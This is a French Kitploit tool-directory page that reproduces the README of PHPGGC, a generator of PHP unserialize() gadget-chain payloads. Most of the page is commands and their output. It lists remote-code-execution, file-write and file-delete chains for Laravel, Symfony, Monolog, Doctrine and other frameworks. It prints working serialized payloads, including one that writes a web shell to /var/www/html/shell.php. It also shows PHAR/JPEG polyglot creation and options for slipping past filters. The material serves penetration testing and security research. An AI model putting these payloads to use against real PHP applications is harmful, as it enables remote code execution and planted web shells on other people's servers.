Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
phpggc — PHPGGC est une bibliothèque de payloads PHP unserialize() accompagnée d'un outil pour les générer, depuis la ligne de commande ou par programmation. | Kitploit
Outils/GitHubGitHub/ambionics/phpggc
Frameworks d'ExploitationGénération de PayloadsExploitationExploitation d'Applications Web
GitHubambionics/phpggc

phpggc

PHPGGC est une bibliothèque de payloads PHP unserialize() accompagnée d'un outil pour les générer, depuis la ligne de commande ou par programmation.

Voir le dépôt
3.9k5596il y a 11 moisVérifié par Kitploit
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PHPGGC : Chaînes de gadgets génériques PHP

PHPGGC est une bibliothèque de payloads unserialize() accompagnée d'un outil pour les générer, depuis la ligne de commande ou par programmation. Lorsque vous rencontrez un unserialize sur un site dont vous n'avez pas le code, ou simplement lorsque vous essayez de construire un exploit, cet outil vous permet de générer le payload sans avoir à passer par les étapes fastidieuses de recherche et de combinaison de gadgets. On peut le considérer comme l'équivalent de frohoff's ysoserial, mais pour PHP. Actuellement, l'outil prend en charge les chaînes de gadgets telles que : CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii et ZendFramework.

Prérequis

PHP >= 5.6 est requis pour exécuter PHPGGC.

Utilisation

Exécutez ./phpggc -l pour obtenir la liste des chaînes de gadgets :

root@kitploit:~
$ ./phpggc -l

Gadget Chains
-------------

NAME                                      VERSION                                              TYPE                   VECTOR         I    
Bitrix/RCE1                               17.x.x <= 22.0.300                                   RCE (Function call)    __destruct          
CakePHP/RCE1                              ? <= 3.9.6                                           RCE (Command)          __destruct          
CakePHP/RCE2                              ? <= 4.2.3                                           RCE (Function call)    __destruct          
CodeIgniter4/FR1                          4.0.0 <= 4.3.6                                       File read              __toString     *    
CodeIgniter4/RCE1                         4.0.2 <= 4.0.3                                       RCE (Function call)    __destruct          
CodeIgniter4/RCE2                         4.0.0-rc.4 <= 4.3.6                                  RCE (Function call)    __destruct          
CodeIgniter4/RCE3                         4.0.4 <= 4.3.6                                       RCE (Function call)    __destruct          
CodeIgniter4/RCE4                         4.0.0-beta.1 <= 4.0.0-rc.4                           RCE (Function call)    __destruct          
CodeIgniter4/RCE5                         -4.1.3+                                              RCE (Function call)    __destruct          
CodeIgniter4/RCE6                         -4.1.3 <= 4.2.10+                                    RCE (Function call)    __destruct          
Doctrine/FW1                              ?                                                    File write             __toString     *    
Doctrine/FW2                              2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5                       File write             __destruct     *    
Doctrine/RCE1                             1.5.1 <= 2.7.2                                       RCE (PHP code)         __destruct     *    
Doctrine/RCE2                             1.11.0 <= 2.3.2                                      RCE (Function call)    __destruct     *    
Dompdf/FD1                                1.1.1 <= ?                                           File delete            __destruct     *    
...

Filtrer les chaînes de gadgets :

root@kitploit:~
$ ./phpggc -l laravel

Gadget Chains
-------------

NAME             VERSION            TYPE                   VECTOR        I    
Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct         

Chaque chaîne de gadgets possède :

  • Nom : nom du framework / de la bibliothèque
  • Version : version du framework / de la bibliothèque pour laquelle les gadgets sont prévus
  • Type : type d'exploitation : RCE, écriture de fichier, lecture de fichier, inclusion...
  • Vecteur : le vecteur pour déclencher la chaîne après l'unserialize (__destruct(), __toString(), offsetGet(), ...)
  • Informations : autres informations sur la chaîne

Utilisez -i pour obtenir des informations détaillées sur une chaîne :

root@kitploit:~
$ ./phpggc -i symfony/rce1
Name           : Symfony/RCE1
Version        : 3.3
Type           : rce
Vector         : __destruct
Informations   : 
Exec through proc_open()

./phpggc Symfony/RCE1 <command>

Pour les gadgets RCE, la commande exécutée peut avoir 3 types de formatage selon le fonctionnement du gadget :

  • RCE (Command): ./phpggc Symfony/RCE1 id
  • RCE (PHP code): ./phpggc Symfony/RCE2 'phpinfo();'
  • RCE (Function call): ./phpggc Symfony/RCE4 system id

Une fois que vous avez sélectionné une chaîne, exécutez ./phpggc <gadget-chain> [parameters] pour obtenir le payload. Par exemple, pour obtenir un payload pour Monolog, vous feriez :

root@kitploit:~
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}

Pour une écriture de fichier avec SwiftMailer, vous feriez :

root@kitploit:~
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}

Wrapper

L'option --wrapper (-w) vous permet de définir un fichier PHP contenant les fonctions suivantes :

  • process_parameters(array $parameters): Appelée juste avant generate(), permet de modifier les paramètres
  • process_object(object $object): Appelée juste avant serialize(), permet de modifier l'objet
  • process_serialized(string $serialized): Appelée juste après serialize(), permet de modifier la chaîne sérialisée

Par exemple, si le code vulnérable ressemble à ceci :

root@kitploit:~
<?php
$data = unserialize($_GET['data']);
print $data['message'];

Vous pourriez utiliser une chaîne __toString(), en l'enveloppant comme ceci :

root@kitploit:~
<?php
# /tmp/my_wrapper.php
function process_object($object)
{
    return array(
        'message' => $object
    );
}

Et vous appelleriez phpggc comme ceci :

root@kitploit:~
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}

PHAR(GGC)

Historique

Lors du BlackHat US 2018, @s_n_t a publié PHARGGC, un fork de PHPGGC qui, au lieu de construire un payload sérialisé, construit un fichier PHAR complet. Ce fichier PHAR contient des données sérialisées et peut donc être utilisé pour diverses techniques d'exploitation (file_exists, fopen, etc.). Le document est disponible ici.

Implémentation

Les archives PHAR existent en trois formats différents : PHAR, TAR et ZIP. Les trois sont pris en charge par PHPGGC. Des fichiers polyglottes peuvent être générés à l'aide de --phar-jpeg (-pj). D'autres options sont disponibles (utilisez -h).

Exemples

root@kitploit:~
$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id

Encodeurs

Les arguments permettent de modifier la façon dont le payload est produit. Par exemple, -u l'encodera en URL, et -b le convertira en base64. Les payloads contiennent souvent des octets NULL et ne peuvent pas être copiés/collés tels quels. Utilisez -s pour un encodage URL doux, qui garde le payload lisible.

Les encodeurs peuvent être chaînés, et donc l'ordre est important. Par exemple, ./phpggc -b -u -u slim/rce1 system id mettra le payload en base64, puis l'encodera en URL deux fois.

Avancé : Améliorations

Destruct rapide

PHPGGC implémente une option --fast-destruct (-f), qui garantit que votre objet sérialisé sera détruit juste après l'appel à unserialize(), et non à la fin du script. Je recommande de l'utiliser pour chaque vecteur __destruct, car cela améliore la fiabilité. Par exemple, si le script PHP lève une exception après l'appel, la méthode __destruct de votre objet pourrait ne pas être appelée. Comme il est traité en même temps que les encodeurs, il doit être défini en premier.

root@kitploit:~
$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...

Chaînes ASCII

Utilise le format de sérialisation S au lieu du s standard. Cela remplace chaque caractère non-ASCII par une représentation hexadécimale : s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"A\00B\09\0D"; Cela peut être utile lorsque, pour une raison quelconque, les caractères non-ASCII ne sont pas autorisés (octet NULL par exemple). Comme les payloads en contiennent généralement, cela garantit que le payload ne contient que des valeurs ASCII. Note : ceci est expérimental et pourrait ne pas fonctionner dans certains cas.

Chaînes Armor

Utilise le format de sérialisation S au lieu du s standard. Cela remplace chaque caractère par une représentation hexadécimale : s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"\41\00\42\09\0D"; C'est pratique lorsqu'un pare-feu ou du code PHP bloque les chaînes. Note : ceci est expérimental et pourrait ne pas fonctionner dans certains cas. Note : cela fait augmenter chaque chaîne du payload d'un facteur 3.

Nombres avec plus

Parfois, les scripts PHP vérifient que le payload sérialisé fourni ne contient pas d'objets en utilisant une regex telle que /O:[0-9]+:. Cela est facilement contourné en utilisant O:+123:... au lieu de O:123:. On peut utiliser --plus-numbers <types>, ou -n <types>, pour ajouter automatiquement ces signes + devant les symboles. Par exemple, pour obscurcir les objets et les chaînes, on peut utiliser : --n Os. Veuillez noter que depuis PHP 7.2, seuls les types i et d (flottant) peuvent avoir un +.

Propriétés publiques

Tente de convertir les références aux propriétés protégées ou privées du payload sérialisé en propriétés publiques. Cela peut être utile car lorsque PHP sérialise une propriété non publique d'un objet, il préfixe le nom de la propriété avec un astérisque (pour les propriétés protégées) ou le nom de la classe (pour les propriétés privées) entouré d'octets NULL, lesquels sont faciles à perdre si le payload est transmis ou stocké en texte brut sans encodage. Si cela se produit, le payload ne pourra pas être désérialisé car la longueur de chaîne du nom de la propriété (et le nom lui-même) sera incorrecte. En bonus, les payloads sont légèrement plus petits sans les préfixes. Convertir les propriétés en public a tendance à fonctionner dans les versions plus récentes de PHP, mais peut causer des problèmes dans les versions plus anciennes (avant PHP 7.2). Cette fonctionnalité peut ne pas fonctionner correctement si une chaîne inclut un ou plusieurs objets ayant une implémentation personnalisée de serialize / unserialize.

Tester votre chaîne

Pour tester si la chaîne de gadgets que vous souhaitez utiliser fonctionne dans l'environnement ciblé, placez-vous dans le dossier de votre environnement et exécutez la chaîne sans argument, avec l'option --test-payload.

Par exemple, pour tester si Monolog/RCE2 fonctionne sur Symfony 4.x :

root@kitploit:~
$ composer create-project symfony/website-skeleton=4.x some_symfony
$ cd some_symfony
$ phpggc monolog/rce2 --test-payload
Trying to deserialize payload...
SUCCESS: Payload triggered !

Le code de sortie sera 0 si le payload se déclenche, 1 sinon.

Tester votre chaîne contre toutes les versions d'un paquet

Si vous souhaitez savoir contre quelles versions d'un paquet une chaîne de gadgets fonctionne, vous pouvez utiliser test-gc-compatibility.py.

root@kitploit:~
$ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
Testing 59 versions for monolog/monolog against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.x-dev         │   OK    │      OK      │      KO      │
│ 2.3.0           │   OK    │      OK      │      KO      │
│ 2.2.0           │   OK    │      OK      │      KO      │
│ 2.1.1           │   OK    │      OK      │      KO      │
│ 2.1.0           │   OK    │      OK      │      KO      │
│ 2.0.2           │   OK    │      OK      │      KO      │
│ 2.0.1           │   OK    │      OK      │      KO      │
│ 2.0.0           │   OK    │      OK      │      KO      │
│ 2.0.0-beta2     │   OK    │      OK      │      KO      │
│ 2.0.0-beta1     │   OK    │      OK      │      KO      │
│ 1.x-dev         │   OK    │      OK      │      KO      │
│ 1.26.1          │   OK    │      OK      │      KO      │
│ 1.26.0          │   OK    │      OK      │      KO      │
│ 1.25.5          │   OK    │      OK      │      KO      │
│ 1.25.4          │   OK    │      OK      │      KO      │
                        ...
│ 1.0.1           │   OK    │      KO      │      KO      │
│ 1.0.0           │   OK    │      KO      │      KO      │
│ 1.0.0-RC1       │   OK    │      KO      │      KO      │
│ dev-main        │   OK    │      OK      │      KO      │
│ * dev-phpstan   │   OK    │      OK      │      KO      │
└─────────────────┴─────────┴──────────────┴──────────────┘

Vous pouvez spécifier les versions que vous souhaitez tester en utilisant la syntaxe suivante.

root@kitploit:~
$ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3
Testing 2 versions for monolog/monolog against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.3.0           │   OK    │      OK      │      KO      │
│ 1.25.4          │   OK    │      OK      │      KO      │
└─────────────────┴─────────┴──────────────┴──────────────┘

API

Au lieu d'utiliser PHPGGC comme outil en ligne de commande, vous pouvez programmer des scripts PHP :

root@kitploit:~
<?php

# Include PHPGGC
include("phpggc/lib/PHPGGC.php");

# Include guzzle/rce1
$gc = new \GadgetChain\Guzzle\RCE1();

# Always process parameters unless you're doing something out of the ordinary
$parameters = $gc->process_parameters([
	'function' => 'system',
	'parameter' => 'id',
]);

# Generate the payload
$object = $gc->generate($parameters);

# Most (if not all) GC's do not use process_object and process_serialized, so
# for quick & dirty code you can omit those two 
$object = $gc->process_object($object);

# Serialize the payload
$serialized = serialize($object);
$serialized = $gc->process_serialized($serialized);

# Display it
print($serialized . "\n");

# Create a PHAR file from this payload
$phar = new \PHPGGC\Phar\Tar($serialized);
file_put_contents('output.phar.tar', $phar->generate());

Cela vous permet d'ajuster les paramètres ou d'écrire des exploits plus facilement. Note : c'est assez expérimental pour le moment, veuillez donc signaler les bugs.

Contribuer

Les pull requests sont plus que bienvenues. Veuillez suivre ces directives simples :

  • __destruct() est toujours le meilleur vecteur
  • Spécifiez au moins la version de la bibliothèque sur laquelle vous avez construit le payload
  • N'incluez pas de paramètres inutilisés dans la définition du gadget s'ils conservent leurs valeurs par défaut. Cela ne fait que rendre le payload plus volumineux.
  • Respectez le style de code : par exemple, les accolades ouvrantes { sont sur une nouvelle ligne, et les tableaux doivent être écrits comme [1, 2, 3] au lieu de l'ancienne notation array(1, 2, 3).

Au niveau du code, la structure des répertoires est assez simple : les gadgets dans gadgets.php, la description + la logique dans chain.php. Vous pouvez définir des méthodes de pré- et post-traitement, si des paramètres doivent être modifiés. Espérons que les gadgets déjà implémentés suffiront pour que vous construisiez les vôtres. Sinon, je serai ravi de répondre à vos questions.

Veuillez tester autant de versions que possible. La nomenclature des versions est la suivante : [-]<lower-version> <= <higher-version>[+]. Les signes - et + indiquent que votre payload peut fonctionner respectivement sur des versions inférieures et supérieures. Par exemple, si votre chaîne de gadgets fonctionne de la version 2.0.0 à la version 4.4.1, qui est la dernière version à l'heure actuelle, utilisez 2.0.0 <= 4.4.1+.

L'option de ligne de commande --new <framework> <type> peut être utilisée pour créer la structure de répertoires et de fichiers d'une nouvelle chaîne de gadgets. Par exemple, ./phpggc -n Drupal RCE créerait une nouvelle chaîne de gadgets Drupal RCE.

Docker

Si vous ne souhaitez pas installer PHP, vous pouvez construire une image Docker en utilisant :

root@kitploit:~
$ docker build . -t 'phpggc'

Vous pouvez ensuite utiliser le phpggc dockerisé.

Pour générer une chaîne de gadgets

root@kitploit:~
$ docker run phpggc Monolog/rce1 'system' 'id'

Pour tester une chaîne

Placez-vous dans le dossier de votre environnement et exécutez la chaîne sans argument, avec l'option --test-payload :

root@kitploit:~
$ docker run -v "$(pwd)":/app -w /app phpggc Monolog/RCE9 --test-payload

Pour générer des fichiers phar / polyglottes

Note : La commande doit être exécutée dans le répertoire où se trouve l'image d'entrée.

root@kitploit:~
$ docker run -v "$(pwd)":/images phpggc -pj /images/dummy.jpg -o /images/z.zip.phar Monolog/RCE9 system id

Pour exécuter test-gc-compatibility.py

root@kitploit:~
$ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2
Runing on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS).
Testing 2 versions for doctrine/doctrine-bundle against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓
┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/rce1 ┃ doctrine/rce2 ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩
│ 2.2                      │   OK    │      OK       │      OK       │
│ 2.7.2                    │   OK    │      OK       │      KO       │
└──────────────────────────┴─────────┴───────────────┴───────────────┘

Licence

Apache License 2.0

Télécharger l’outil